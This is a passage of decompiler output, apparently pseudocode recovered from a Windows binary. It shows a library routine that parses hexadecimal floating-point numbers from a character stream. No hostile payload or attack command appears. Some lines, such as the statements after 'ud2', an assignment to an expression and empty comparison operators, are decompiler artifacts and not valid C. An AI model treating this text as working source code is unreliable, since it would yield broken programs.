								_t1064 =  *(_t1726 + 2) & 0x0000ffff;
								_t1726 = _t1726 + 2;
								if(_t1064 == 0) {
									break;
								}
								if(_t1064 != _t880) {
									continue;
								} else {
								}
								break;
							}
							_t1728 = _t1726 -  &_v32 >> 1;
							if(_t1728 > 0x15) {
								__eflags = _a72 - 0xf;
								_t1730 =  <=  ? _t1942 : _a48;
								__eflags =  *((char*)(_t1730 + _t1961));
								if( *((char*)(_t1730 + _t1961)) == 0) {
									break;
								} else {
									__eflags = _a88;
									if(_a88 == 0) {
										break;
									} else {
										__eflags = _t880 - _a88;
										if(_t880 != _a88) {
											break;
										} else {
											_t1974 = _a64;
											__eflags = _t1974 - 0xfffffffe;
											if(_t1974 >= 0xfffffffe) {
												_t945 = L00430CE0(_t1009, _t1064, _t1149, _t1500, "string too long", _t1879, _t1909);
												asm("ud2");
												_t1911 = _t1500;
												_t1505 = _a72;
												__eflags = _t1505 - 0x10;
												if(_t1505 >= 0x10) {
													_t1734 = _a48;
													__eflags = _t1505 + 1 - 0x1000;
													if(_t1505 + 1 >= 0x1000) {
														_t1734 =  *((intOrPtr*)(_t1734 - 8));
													}
													_t945 = E00402090(_t945, _t1734);
												}
												_t1506 = _v56;
												__eflags = _t1506 - 0x10;
												if(_t1506 >= 0x10) {
													_t1733 = _v80;
													_t1506 = _t1506 + 1;
													__eflags = _t1506 - 0x1000;
													if(_t1506 >= 0x1000) {
														_t1733 =  *((intOrPtr*)(_t1733 - 8));
													}
													_t945 = E00402090(_t945, _t1733);
												}
												E0044CEA0(_t945, _t1911);
												asm("ud2");
												 *0x44eb4d =  *0x44eb4d + r8b;
												 *_t1506 =  *_t1506 + 0x64;
												_t794 = _t1506 - 0x6f6f6f70;
												 *_t794 =  *(_t1506 - 0x6f6f6f70) + _t1064;
												__eflags =  *_t794;
												_push(_t1914);
												return 0x64;
											} else {
												_t1975 = _t1974 + 1;
												r8d = 0;
												_t948 = E00404270(_t880,  &_a40, _t1975);
												__eflags = _t948;
												if(_t948 != 0) {
													__eflags = _a72 - 0xf;
													_t1739 =  <=  ? _t1942 : _a48;
													 *((char*)(( <=  ? _t1942 : _a48) + _a64)) = 0;
													__eflags = _a72 - 0xf;
													_t1515 =  <=  ? _t1942 : _a48;
													_a64 = _t1975;
													 *((char*)(( <=  ? _t1942 : _a48) + _t1975)) = 0;
												}
												_t1961 = _t1961 + 1;
												goto L669;
											}
										}
									}
								}
							} else {
								if(r13d < 0x30) {
									__eflags = r13d;
									if(r13d != 0) {
										L666:
										_t1740 = _a112;
										 *_t1740 =  *((intOrPtr*)(_t1728 + "0123456789ABCDEFabcdef-+XxPp"));
										_a112 = _t1740 + 1;
										r13d = r13d + 1;
										__eflags = r13d;
									} else {
										__eflags = _t1728;
										if(_t1728 != 0) {
											goto L666;
										} else {
											r13d = 0;
										}
									}
								} else {
									_a84 = _a84 + 1;
								}
								_t1518 =  <=  ? _t1942 : _a48;
								_t1014 =  *(_t1518 + _t1961);
								_a108 = 1;
								if(_t1014 != 0x7f) {
									_t1014 = _t1014 + 1;
									 *(_t1518 + _t1961) = _t1014;
								}
								L669:
								_t1736 =  *_t1582;
								if(_t1736 == 0) {
									L652:
									 *_t1582 = 0;
									_t880 = 1;
									 *(_t1582 + 8) = 1;
								} else {
									_t1511 =  *((intOrPtr*)(_t1736 + 0x38));
									_t1852 =  *_t1511;
									if(_t1852 == 0) {
										L673:
										_t952 =  *((intOrPtr*)( *_t1736 + 0x40))();
									} else {
										_t1879 =  *((intOrPtr*)(_t1736 + 0x50));
										_t1138 =  *_t1879;
										if(_t1138 <= 0) {
											goto L673;
										} else {
											 *_t1879 = _t1138 - 1;
											_t564 =  &(_t1852[1]); // 0x3
											 *_t1511 = _t564;
											_t952 =  *_t1852 & 0x0000ffff;
										}
									}
									if((_t952 & 0x0000ffff) == 0xffff) {
										goto L652;
									} else {
										_t880 = 0;
										 *(_t1582 + 8) = 0;
									}
								}
								continue;
							}
							goto L991;
						}
						__eflags = _t1961;
						if(_t1961 == 0) {
							_t1137 = 0;
							__eflags = 0;
							goto L717;
						} else {
							__eflags = _a72 - 0xf;
							_t1504 =  <=  ? _t1942 : _a48;
							_t1062 =  *((intOrPtr*)(_t1504 + _t1961));
							_t880 = 0;
							__eflags = _t1062;
							_t1048 = _t1014 & 0xffffff00 | _t1062 > 0x00000000;
							__eflags = _t1062;
							sil = _t1062 <= 0;
							__eflags = sil;
							if(sil <= 0) {
								L717:
								_t1501 = _a72;
							} else {
								_t880 = _t1048;
								_t1965 = _t1961 + _t1504;
								__eflags = _t1965;
								if(_t1965 == 0) {
									goto L717;
								} else {
									_t1501 = _a72;
									__eflags = _t1501 - 0xf;
									_t1943 =  >  ? _a48 : _t1942;
									_t1897 = _v40;
									while(1) {
										_t1049 =  *_t1897 & 0x000000ff;
										__eflags = _t1049 - 0x7f;
										if(_t1049 == 0x7f) {
											break;
										}
										__eflags = _t1965 - 1;
										_t1063 =  *(_t1943 + _t1965 - 1) & 0x000000ff;
										if(_t1965 != 1) {
											__eflags = _t1049 - _t1063;
											if(_t1049 != _t1063) {
												goto L840;
											} else {
												goto L712;
											}
										} else {
											__eflags = _t1049 - _t1063;
											if(_t1049 >= _t1063) {
												L712:
												_t1965 = _t1965 - 1;
												__eflags =  *(_t1897 + 1);
												if( *(_t1897 + 1) > 0) {
													_t1897 = _t1897 + 1;
													__eflags = _t1897;
												}
												__eflags = _t1965;
												if(_t1965 != 0) {
													continue;
												} else {
													break;
												}
											} else {
												L840:
												sil = 1;
											}
										}
										goto L718;
									}
									_t1137 = 0;
								}
							}
						}
						L718:
						__eflags = _t1501 - 0x10;
						_t1963 = _a32;
						r12d = _a84;
						if(_t1501 >= 0x10) {
							_t1725 = _a48;
							__eflags = _t1501 + 1 - 0x1000;
							if(_t1501 + 1 >= 0x1000) {
								_t1725 =  *((intOrPtr*)(_t1725 - 8));
							}
							_t880 = E00402090(_t880, _t1725);
						}
						_a88 = _t1137;
						__eflags = _a108 & 0x00000001;
						if((_a108 & 0x00000001) != 0) {
							L630:
							__eflags = r13d;
							if(r13d == 0) {
								_t1487 = _a112;
								 *_t1487 = 0x30;
								_t1488 = _t1487 + 1;
								__eflags = _t1488;
								_a112 = _t1488;
							}
							goto L632;
						} else {
							L632:
							_t1672 =  *_t1582;
							_t1115 = 0;
							__eflags = _t1672;
							_t1084 = 0;
							r15d = r12d;
							if(_t1672 != 0) {
								_t1485 =  *((intOrPtr*)( *((intOrPtr*)(_t1672 + 0x38))));
								__eflags = _t1485;
								if(_t1485 == 0) {
									L636:
									_t935 =  *((intOrPtr*)( *_t1672 + 0x38))();
									r12d = r15d;
								} else {
									__eflags =  *( *(_t1672 + 0x50));
									if( *( *(_t1672 + 0x50)) <= 0) {
										goto L636;
									} else {
										_t935 =  *_t1485 & 0x0000ffff;
									}
								}
								_t880 = _t935 & 0x0000ffff;
								_t1084 = 0;
								__eflags = (_t935 & 0x0000ffff) - 0xffff;
								dil = (_t935 & 0x0000ffff) != 0xffff;
								__eflags = dil;
							}
							_t1673 =  *_a96;
							__eflags = _t1673;
							if(_t1673 != 0) {
								_t1482 =  *((intOrPtr*)( *((intOrPtr*)(_t1673 + 0x38))));
								__eflags = _t1482;
								if(_t1482 == 0) {
									L642:
									_t934 =  *((intOrPtr*)( *_t1673 + 0x38))();
									r12d = r15d;
								} else {
									__eflags =  *( *(_t1673 + 0x50));
									if( *( *(_t1673 + 0x50)) <= 0) {
										goto L642;
									} else {
										_t934 =  *_t1482 & 0x0000ffff;
									}
								}
								_t880 = _t934 & 0x0000ffff;
								_t1115 = 0;
								__eflags = (_t934 & 0x0000ffff) - 0xffff;
								sil = (_t934 & 0x0000ffff) != 0xffff;
								__eflags = sil;
							}
							__eflags = _t1084 - _t1115;
							if(_t1084 == _t1115) {
								L735:
								__eflags = r13d;
								if(r13d == 0) {
									goto L745;
								}
							} else {
								__eflags =  *(_t1582 + 8);
								_t1894 = _v48;
								if( *(_t1582 + 8) == 0) {
									_t1716 =  *_t1582;
									__eflags = _t1716;
									if(_t1716 == 0) {
										L727:
										 *_t1582 = 0;
									} else {
										_t1479 =  *((intOrPtr*)( *((intOrPtr*)(_t1716 + 0x38))));
										__eflags = _t1479;
										if(_t1479 == 0) {
											L724:
											_t933 =  *((intOrPtr*)( *_t1716 + 0x38))();
										} else {
											__eflags =  *( *(_t1716 + 0x50));
											if( *( *(_t1716 + 0x50)) <= 0) {
												goto L724;
											} else {
												_t933 =  *_t1479 & 0x0000ffff;
											}
										}
										__eflags = (_t933 & 0x0000ffff) - 0xffff;
										if((_t933 & 0x0000ffff) == 0xffff) {
											goto L727;
										} else {
											 *(_t1582 + 0xa) = _t933;
										}
									}
									 *(_t1582 + 8) = 1;
								}
								_t1474 =  *_t1894;
								_t880 =  *((intOrPtr*)(_t1474 + 0x20))();
								__eflags = ( *(_t1582 + 0xa) & 0x0000ffff) - _t880;
								if(( *(_t1582 + 0xa) & 0x0000ffff) != _t880) {
									r12d = r15d;
									goto L735;
								} else {
									E0043DFF0(_t880);
									 *_a112 =  *((intOrPtr*)( *_t1474));
									_t1714 =  *_t1582;
									__eflags = _t1714;
									r12d = r15d;
									if(_t1714 == 0) {
										L740:
										 *_t1582 = 0;
										_t880 = 1;
									} else {
										_t1476 =  *((intOrPtr*)(_t1714 + 0x38));
										_t1839 =  *_t1476;
										__eflags = _t1839;
										if(_t1839 == 0) {
											L737:
											_t931 =  *((intOrPtr*)( *_t1714 + 0x40))();
											r12d = r15d;
										} else {
											_t1895 =  *((intOrPtr*)(_t1714 + 0x50));
											_t1133 =  *_t1895;
											__eflags = _t1133;
											if(_t1133 <= 0) {
												goto L737;
											} else {
												 *_t1895 = _t1133 - 1;
												 *_t1476 =  &(_t1839[1]);
												_t931 =  *_t1839 & 0x0000ffff;
											}
										}
										__eflags = (_t931 & 0x0000ffff) - 0xffff;
										if((_t931 & 0x0000ffff) == 0xffff) {
											goto L740;
										} else {
											_t880 = 0;
										}
									}
									_a112 = _a112 + 1;
									 *(_t1582 + 8) = _t880;
									__eflags = r13d;
									if(r13d == 0) {
										while(1) {
											L745:
											_t1707 =  *_t1582;
											_t1129 = 0;
											__eflags = _t1707;
											_t1089 = 0;
											if(_t1707 == 0) {
												goto L751;
											}
											_t1464 =  *((intOrPtr*)( *((intOrPtr*)(_t1707 + 0x38))));
											__eflags = _t1464;
											if(_t1464 == 0) {
												L749:
												_t926 =  *((intOrPtr*)( *_t1707 + 0x38))();
											} else {
												__eflags =  *( *(_t1707 + 0x50));
												if( *( *(_t1707 + 0x50)) <= 0) {
													goto L749;
												} else {
													_t926 =  *_t1464 & 0x0000ffff;
												}
											}
											_t880 = _t926 & 0x0000ffff;
											_t1089 = 0;
											__eflags = (_t926 & 0x0000ffff) - 0xffff;
											dil = (_t926 & 0x0000ffff) != 0xffff;
											__eflags = dil;
											L751:
											_t1708 =  *_a96;
											__eflags = _t1708;
											if(_t1708 != 0) {
												_t1472 =  *((intOrPtr*)( *((intOrPtr*)(_t1708 + 0x38))));
												__eflags = _t1472;
												if(_t1472 == 0) {
													L755:
													_t925 =  *((intOrPtr*)( *_t1708 + 0x38))();
												} else {
													__eflags =  *( *(_t1708 + 0x50));
													if( *( *(_t1708 + 0x50)) <= 0) {
														goto L755;
													} else {
														_t925 =  *_t1472 & 0x0000ffff;
													}
												}
												_t880 = _t925 & 0x0000ffff;
												_t1129 = 0;
												__eflags = (_t925 & 0x0000ffff) - 0xffff;
												sil = (_t925 & 0x0000ffff) != 0xffff;
												__eflags = sil;
											}
											__eflags = _t1089 - _t1129;
											if(_t1089 != _t1129) {
												__eflags =  *(_t1582 + 8);
												if( *(_t1582 + 8) == 0) {
													_t1711 =  *_t1582;
													__eflags = _t1711;
													if(_t1711 == 0) {
														L766:
														 *_t1582 = 0;
													} else {
														_t1469 =  *((intOrPtr*)( *((intOrPtr*)(_t1711 + 0x38))));
														__eflags = _t1469;
														if(_t1469 == 0) {
															L763:
															_t924 =  *((intOrPtr*)( *_t1711 + 0x38))();
														} else {
															__eflags =  *( *(_t1711 + 0x50));
															if( *( *(_t1711 + 0x50)) <= 0) {
																goto L763;
															} else {
																_t924 =  *_t1469 & 0x0000ffff;
															}
														}
														__eflags = (_t924 & 0x0000ffff) - 0xffff;
														if((_t924 & 0x0000ffff) == 0xffff) {
															goto L766;
														} else {
															 *(_t1582 + 0xa) = _t924;
														}
													}
													 *(_t1582 + 8) = 1;
												}
												_t880 =  *(_t1582 + 0xa) & 0x0000ffff;
												__eflags = ( *(_t1582 + 0xa) & 0x0000ffff) - _v32;
												if(( *(_t1582 + 0xa) & 0x0000ffff) == _v32) {
													_t1709 =  *_t1582;
													__eflags = _t1709;
													if(_t1709 == 0) {
														L776:
														 *_t1582 = 0;
														_t923 = 1;
														goto L743;
													} else {
														_t1466 =  *((intOrPtr*)(_t1709 + 0x38));
														_t1835 =  *_t1466;
														__eflags = _t1835;
														if(_t1835 == 0) {
															L773:
															_t927 =  *((intOrPtr*)( *_t1709 + 0x40))();
														} else {
															_t1893 =  *((intOrPtr*)(_t1709 + 0x50));
															_t1130 =  *_t1893;
															__eflags = _t1130;
															if(_t1130 <= 0) {
																goto L773;
															} else {
																 *_t1893 = _t1130 - 1;
																 *_t1466 =  &(_t1835[1]);
																_t927 =  *_t1835 & 0x0000ffff;
															}
														}
														__eflags = (_t927 & 0x0000ffff) - 0xffff;
														if((_t927 & 0x0000ffff) == 0xffff) {
															goto L776;
														} else {
															_t923 = 0;
															L743:
															 *(_t1582 + 8) = _t923;
															r12d = r12d - 1;
															__eflags = r12d;
															_t880 = 1;
															_a108 = 1;
															continue;
														}
													}
												}
											}
											__eflags = r12d;
											if(r12d < 0) {
												_t1461 = _a112;
												 *_t1461 = 0x30;
												_a112 = _t1461 + 1;
												r12d = r12d + 1;
												__eflags = r12d;
											}
											r15d = r12d;
											goto L780;
										}
									}
								}
							}
							L780:
							_t1939 =  &_v34;
							while(1) {
								L793:
								_t1674 =  *_t1582;
								_t1116 = 0;
								__eflags = _t1674;
								_t1085 = 0;
								if(_t1674 == 0) {
									goto L799;
								}
								_t1450 =  *((intOrPtr*)( *((intOrPtr*)(_t1674 + 0x38))));
								__eflags = _t1450;
								if(_t1450 == 0) {
									L797:
									_t922 =  *((intOrPtr*)( *_t1674 + 0x38))();
								} else {
									__eflags =  *( *(_t1674 + 0x50));
									if( *( *(_t1674 + 0x50)) <= 0) {
										goto L797;
									} else {
										_t922 =  *_t1450 & 0x0000ffff;
									}
								}
								_t880 = _t922 & 0x0000ffff;
								_t1085 = 0;
								__eflags = (_t922 & 0x0000ffff) - 0xffff;
								dil = (_t922 & 0x0000ffff) != 0xffff;
								__eflags = dil;
								L799:
								_t1675 =  *_a96;
								__eflags = _t1675;
								if(_t1675 != 0) {
									_t1458 =  *((intOrPtr*)( *((intOrPtr*)(_t1675 + 0x38))));
									__eflags = _t1458;
									if(_t1458 == 0) {
										L803:
										_t921 =  *((intOrPtr*)( *_t1675 + 0x38))();
									} else {
										__eflags =  *( *(_t1675 + 0x50));
										if( *( *(_t1675 + 0x50)) <= 0) {
											goto L803;
										} else {
											_t921 =  *_t1458 & 0x0000ffff;
										}
									}
									_t880 = _t921 & 0x0000ffff;
									_t1116 = 0;
									__eflags = (_t921 & 0x0000ffff) - 0xffff;
									sil = (_t921 & 0x0000ffff) != 0xffff;
									__eflags = sil;
								}
								__eflags = _t1085 - _t1116;
								if(_t1085 != _t1116) {
									__eflags =  *(_t1582 + 8);
									if( *(_t1582 + 8) == 0) {
										_t1706 =  *_t1582;
										__eflags = _t1706;
										if(_t1706 == 0) {
											L814:
											 *_t1582 = 0;
										} else {
											_t1455 =  *((intOrPtr*)( *((intOrPtr*)(_t1706 + 0x38))));
											__eflags = _t1455;
											if(_t1455 == 0) {
												L811:
												_t880 =  *((intOrPtr*)( *_t1706 + 0x38))();
											} else {
												__eflags =  *( *(_t1706 + 0x50));
												if( *( *(_t1706 + 0x50)) <= 0) {
													goto L811;
												} else {
													_t880 =  *_t1455 & 0x0000ffff;
												}
											}
											__eflags = (_t880 & 0x0000ffff) - 0xffff;
											if((_t880 & 0x0000ffff) == 0xffff) {
												goto L814;
											} else {
												 *(_t1582 + 0xa) = _t880;
											}
										}
										 *(_t1582 + 8) = 1;
									}
									_t1042 =  *(_t1582 + 0xa) & 0x0000ffff;
									_t1446 = _t1939;
									asm("o16 nop [cs:eax+eax]");
									while(1) {
										_t1061 =  *(_t1446 + 2) & 0x0000ffff;
										_t1446 = _t1446 + 2;
										__eflags = _t1061;
										if(_t1061 == 0) {
											break;
										}
										__eflags = _t1061 - _t1042;
										if(_t1061 != _t1042) {
											continue;
										} else {
											break;
										}
										L976:
										__eflags = r10b & 0x00000001;
										_t1925 =  ==  ? _t1963 : _t1924;
										__eflags = _a88;
										_t1926 =  !=  ? _t1963 :  ==  ? _t1963 : _t1924;
										 *((char*)( !=  ? _t1963 :  ==  ? _t1963 : _t1924)) = 0;
										 *_a232 = r9d;
										_t1393 = _v56;
										__eflags = _t1393 - 0x10;
										if(_t1393 >= 0x10) {
											_t1678 = _v80;
											__eflags = _t1393 + 1 - 0x1000;
											if(_t1393 + 1 >= 0x1000) {
												_t1678 =  *((intOrPtr*)(_t1678 - 8));
											}
											E00402090(_t880, _t1678);
										}
										__eflags = 0;
										return 0;
										goto L991;
									}
									_t1448 = _t1446 -  &_v32 >> 1;
									__eflags = _t1448 - 0x15;
									if(_t1448 <= 0x15) {
										__eflags = r13d - 0x2f;
										if(r13d <= 0x2f) {
											_t1704 = _a112;
											 *_t1704 =  *((intOrPtr*)(_t1448 + "0123456789ABCDEFabcdef-+XxPp"));
											_a112 = _t1704 + 1;
											r13d = r13d + 1;
											__eflags = r13d;
										}
										_t1701 =  *_t1582;
										__eflags = _t1701;
										if(_t1701 == 0) {
											L791:
											 *_t1582 = 0;
											_t917 = 1;
										} else {
											_t1452 =  *((intOrPtr*)(_t1701 + 0x38));
											_t1831 =  *_t1452;
											__eflags = _t1831;
											if(_t1831 == 0) {
												L788:
												_t918 =  *((intOrPtr*)( *_t1701 + 0x40))();
											} else {
												_t1892 =  *((intOrPtr*)(_t1701 + 0x50));
												_t1127 =  *_t1892;
												__eflags = _t1127;
												if(_t1127 <= 0) {
													goto L788;
												} else {
													 *_t1892 = _t1127 - 1;
													 *_t1452 =  &(_t1831[1]);
													_t918 =  *_t1831 & 0x0000ffff;
												}
											}
											__eflags = (_t918 & 0x0000ffff) - 0xffff;
											if((_t918 & 0x0000ffff) == 0xffff) {
												goto L791;
											} else {
												_t917 = 0;
											}
										}
										 *(_t1582 + 8) = _t917;
										_t880 = 1;
										_a108 = 1;
										continue;
									}
								}
								r10d = _a108;
								__eflags = r10b & 0x00000001;
								if((r10b & 0x00000001) != 0) {
									_t1676 =  *_t1582;
									_t1117 = 0;
									__eflags = _t1676;
									_t1086 = 0;
									_t1924 = _a112;
									r9d = r15d;
									if(_t1676 != 0) {
										_t1444 =  *((intOrPtr*)( *((intOrPtr*)(_t1676 + 0x38))));
										__eflags = _t1444;
										if(_t1444 == 0) {
											L826:
											_t916 =  *((intOrPtr*)( *_t1676 + 0x38))();
											_t1924 = _a112;
											r9d = r15d;
											r10d = _a108;
										} else {
											__eflags =  *( *(_t1676 + 0x50));
											if( *( *(_t1676 + 0x50)) <= 0) {
												goto L826;
											} else {
												_t916 =  *_t1444 & 0x0000ffff;
											}
										}
										_t880 = _t916 & 0x0000ffff;
										_t1086 = 0;
										__eflags = (_t916 & 0x0000ffff) - 0xffff;
										dil = (_t916 & 0x0000ffff) != 0xffff;
										__eflags = dil;
									}
									_t1677 =  *_a96;
									__eflags = _t1677;
									if(_t1677 != 0) {
										_t1441 =  *((intOrPtr*)( *((intOrPtr*)(_t1677 + 0x38))));
										__eflags = _t1441;
										if(_t1441 == 0) {
											L832:
											_t915 =  *((intOrPtr*)( *_t1677 + 0x38))();
											_t1924 = _a112;
											r9d = r15d;
											r10d = _a108;
										} else {
											__eflags =  *( *(_t1677 + 0x50));
											if( *( *(_t1677 + 0x50)) <= 0) {
												goto L832;
											} else {
												_t915 =  *_t1441 & 0x0000ffff;
											}
										}
										_t880 = _t915 & 0x0000ffff;
										_t1117 = 0;
										__eflags = (_t915 & 0x0000ffff) - 0xffff;
										sil = (_t915 & 0x0000ffff) != 0xffff;
										__eflags = sil;
									}
									__eflags = _t1086 - _t1117;
									if(_t1086 != _t1117) {
										__eflags =  *(_t1582 + 8);
										if( *(_t1582 + 8) == 0) {
											_t1699 =  *_t1582;
											__eflags = _t1699;
											if(_t1699 == 0) {
												L844:
												 *_t1582 = 0;
											} else {
												_t1438 =  *((intOrPtr*)( *((intOrPtr*)(_t1699 + 0x38))));
												__eflags = _t1438;
												if(_t1438 == 0) {
													L841:
													_t914 =  *((intOrPtr*)( *_t1699 + 0x38))();
													_t1924 = _a112;
													r9d = r15d;
													r10d = _a108;
												} else {
													__eflags =  *( *(_t1699 + 0x50));
													if( *( *(_t1699 + 0x50)) <= 0) {
														goto L841;
													} else {
														_t914 =  *_t1438 & 0x0000ffff;
													}
												}
												__eflags = (_t914 & 0x0000ffff) - 0xffff;
												if((_t914 & 0x0000ffff) == 0xffff) {
													goto L844;
												} else {
													 *(_t1582 + 0xa) = _t914;
												}
											}
											 *(_t1582 + 8) = 1;
										}
										_t880 =  *(_t1582 + 0xa) & 0x0000ffff;
										__eflags = _t880 - _a22;
										if(_t880 == _a22) {
											L848:
											 *_t1924 = 0x70;
											_t1679 =  *_t1582;
											__eflags = _t1679;
											if(_t1679 == 0) {
												L858:
												 *_t1582 = 0;
												 *(_t1582 + 8) = 1;
												goto L859;
											} else {
												_t1432 =  *((intOrPtr*)(_t1679 + 0x38));
												_t1826 =  *_t1432;
												__eflags = _t1826;
												if(_t1826 == 0) {
													L852:
													_t910 =  *((intOrPtr*)( *_t1679 + 0x40))();
													_t1924 = _a112;
												} else {
													_t1891 =  *((intOrPtr*)(_t1679 + 0x50));
													_t1125 =  *_t1891;
													__eflags = _t1125;
													if(_t1125 <= 0) {
														goto L852;
													} else {
														 *_t1891 = _t1125 - 1;
														 *_t1432 =  &(_t1826[1]);
														_t910 =  *_t1826 & 0x0000ffff;
													}
												}
												__eflags = (_t910 & 0x0000ffff) - 0xffff;
												if((_t910 & 0x0000ffff) == 0xffff) {
													goto L858;
												} else {
													_t1697 =  *_t1582;
													 *(_t1582 + 8) = 0;
													__eflags = _t1697;
													if(_t1697 == 0) {
														L859:
														_t1118 = 0;
													} else {
														_t1435 =  *((intOrPtr*)( *((intOrPtr*)(_t1697 + 0x38))));
														__eflags = _t1435;
														if(_t1435 == 0) {
															L860:
															_t912 =  *((intOrPtr*)( *_t1697 + 0x38))();
															_t1924 = _a112;
														} else {
															__eflags =  *( *(_t1697 + 0x50));
															if( *( *(_t1697 + 0x50)) <= 0) {
																goto L860;
															} else {
																_t912 =  *_t1435 & 0x0000ffff;
															}
														}
														_t1118 = 0;
														__eflags = (_t912 & 0x0000ffff) - 0xffff;
														sil = (_t912 & 0x0000ffff) != 0xffff;
														__eflags = sil;
													}
												}
											}
											_t1680 =  *_a96;
											__eflags = _t1680;
											if(_t1680 == 0) {
												_t883 = 0;
												__eflags = 0;
											} else {
												_t1430 =  *((intOrPtr*)( *((intOrPtr*)(_t1680 + 0x38))));
												__eflags = _t1430;
												if(_t1430 == 0) {
													L866:
													_t908 =  *((intOrPtr*)( *_t1680 + 0x38))();
													_t1924 = _a112;
												} else {
													__eflags =  *( *(_t1680 + 0x50));
													if( *( *(_t1680 + 0x50)) <= 0) {
														goto L866;
													} else {
														_t908 =  *_t1430 & 0x0000ffff;
													}
												}
												__eflags = (_t908 & 0x0000ffff) - 0xffff;
												_t883 = 0 | (_t908 & 0x0000ffff) != 0x0000ffff;
											}
											_t1941 = _t1924 + 1;
											__eflags = _t1118 - _t883;
											if(_t1118 != _t883) {
												__eflags =  *(_t1582 + 8);
												if( *(_t1582 + 8) == 0) {
													_t1696 =  *_t1582;
													__eflags = _t1696;
													if(_t1696 == 0) {
														L878:
														 *_t1582 = 0;
													} else {
														_t1427 =  *((intOrPtr*)( *((intOrPtr*)(_t1696 + 0x38))));
														__eflags = _t1427;
														if(_t1427 == 0) {
															L875:
															_t907 =  *((intOrPtr*)( *_t1696 + 0x38))();
															_t1924 = _a112;
														} else {
															__eflags =  *( *(_t1696 + 0x50));
															if( *( *(_t1696 + 0x50)) <= 0) {
																goto L875;
															} else {
																_t907 =  *_t1427 & 0x0000ffff;
															}
														}
														__eflags = (_t907 & 0x0000ffff) - 0xffff;
														if((_t907 & 0x0000ffff) == 0xffff) {
															goto L878;
														} else {
															 *(_t1582 + 0xa) = _t907;
														}
													}
													 *(_t1582 + 8) = 1;
												}
												_t903 =  *(_t1582 + 0xa) & 0x0000ffff;
												__eflags = _t903 - _a14;
												if(_t903 != _a14) {
													__eflags = _t903 - _a12;
													if(_t903 == _a12) {
														 *((char*)(_t1924 + 1)) = 0x2d;
														_t1693 =  *_t1582;
														__eflags = _t1693;
														if(_t1693 == 0) {
															goto L894;
														} else {
															_t1423 =  *((intOrPtr*)(_t1693 + 0x38));
															_t1823 =  *_t1423;
															__eflags = _t1823;
															if(_t1823 == 0) {
																L890:
																_t905 =  *((intOrPtr*)( *_t1693 + 0x40))();
																goto L891;
															} else {
																_t1890 =  *((intOrPtr*)(_t1693 + 0x50));
																_t1123 =  *_t1890;
																__eflags = _t1123;
																if(_t1123 <= 0) {
																	goto L890;
																} else {
																	goto L889;
																}
															}
															goto L892;
														}
														goto L895;
													}
												} else {
													 *((char*)(_t1924 + 1)) = 0x2b;
													_t1695 =  *_t1582;
													__eflags = _t1695;
													if(_t1695 == 0) {
														L894:
														 *_t1582 = 0;
														_t904 = 1;
													} else {
														_t1423 =  *((intOrPtr*)(_t1695 + 0x38));
														_t1823 =  *_t1423;
														__eflags = _t1823;
														if(_t1823 == 0) {
															L884:
															_t905 =  *((intOrPtr*)( *_t1695 + 0x40))();
															L891:
															_t1924 = _a112;
														} else {
															_t1890 =  *((intOrPtr*)(_t1695 + 0x50));
															_t1123 =  *_t1890;
															__eflags = _t1123;
															if(_t1123 > 0) {
																L889:
																 *_t1890 = _t1123 - 1;
																 *_t1423 =  &(_t1823[1]);
																_t905 =  *_t1823 & 0x0000ffff;
															} else {
																goto L884;
															}
														}
														L892:
														__eflags = (_t905 & 0x0000ffff) - 0xffff;
														if((_t905 & 0x0000ffff) == 0xffff) {
															goto L894;
														} else {
															_t904 = 0;
														}
													}
													L895:
													_t1927 = _t1924 + 2;
													__eflags = _t1927;
													 *(_t1582 + 8) = _t904;
													_t1941 = _t1927;
												}
											}
											while(1) {
												_t1681 =  *_t1582;
												__eflags = _t1681;
												_t1119 = 0;
												if(_t1681 == 0) {
													goto L905;
												}
												_t1413 =  *((intOrPtr*)( *((intOrPtr*)(_t1681 + 0x38))));
												__eflags = _t1413;
												if(_t1413 == 0) {
													L903:
													_t899 =  *((intOrPtr*)( *_t1681 + 0x38))();
												} else {
													__eflags =  *( *(_t1681 + 0x50));
													if( *( *(_t1681 + 0x50)) <= 0) {
														goto L903;
													} else {
														_t899 =  *_t1413 & 0x0000ffff;
													}
												}
												_t1119 = 0;
												__eflags = (_t899 & 0x0000ffff) - 0xffff;
												sil = (_t899 & 0x0000ffff) != 0xffff;
												__eflags = sil;
												L905:
												_t1682 =  *_a96;
												__eflags = _t1682;
												if(_t1682 == 0) {
													__eflags = _t1119;
													if(_t1119 != 0) {
														goto L911;
													} else {
													}
												} else {
													_t1421 =  *((intOrPtr*)( *((intOrPtr*)(_t1682 + 0x38))));
													__eflags = _t1421;
													if(_t1421 == 0) {
														L909:
														_t895 =  *((intOrPtr*)( *_t1682 + 0x38))();
													} else {
														__eflags =  *( *(_t1682 + 0x50));
														if( *( *(_t1682 + 0x50)) <= 0) {
															goto L909;
														} else {
															_t895 =  *_t1421 & 0x0000ffff;
														}
													}
													(_t895 & 0x0000ffff) - 0xffff = _t1119 - ((_t895 & 0x0000ffff) != 0xffff);
													if(_t1119 != (_t895 & 0x0000ffff) != 0xffff) {
														L911:
														__eflags =  *(_t1582 + 8);
														if( *(_t1582 + 8) == 0) {
															_t1692 =  *_t1582;
															__eflags = _t1692;
															if(_t1692 == 0) {
																L921:
																 *_t1582 = 0;
															} else {
																_t1418 =  *((intOrPtr*)( *((intOrPtr*)(_t1692 + 0x38))));
																__eflags = _t1418;
																if(_t1418 == 0) {
																	L918:
																	_t898 =  *((intOrPtr*)( *_t1692 + 0x38))();
																} else {
																	__eflags =  *( *(_t1692 + 0x50));
																	if( *( *(_t1692 + 0x50)) <= 0) {
																		goto L918;
																	} else {
																		_t898 =  *_t1418 & 0x0000ffff;
																	}
																}
																__eflags = (_t898 & 0x0000ffff) - 0xffff;
																if((_t898 & 0x0000ffff) == 0xffff) {
																	goto L921;
																} else {
																	 *(_t1582 + 0xa) = _t898;
																}
															}
															 *(_t1582 + 8) = 1;
														}
														__eflags = ( *(_t1582 + 0xa) & 0x0000ffff) - _v32;
														if(( *(_t1582 + 0xa) & 0x0000ffff) == _v32) {
															_t1690 =  *_t1582;
															__eflags = _t1690;
															if(_t1690 == 0) {
																L931:
																 *_t1582 = 0;
																_t894 = 1;
																goto L897;
															} else {
																_t1415 =  *((intOrPtr*)(_t1690 + 0x38));
																_t1819 =  *_t1415;
																__eflags = _t1819;
																if(_t1819 == 0) {
																	L928:
																	_t901 =  *((intOrPtr*)( *_t1690 + 0x40))();
																} else {
																	_t1889 =  *((intOrPtr*)(_t1690 + 0x50));
																	_t1121 =  *_t1889;
																	__eflags = _t1121;
																	if(_t1121 <= 0) {
																		goto L928;
																	} else {
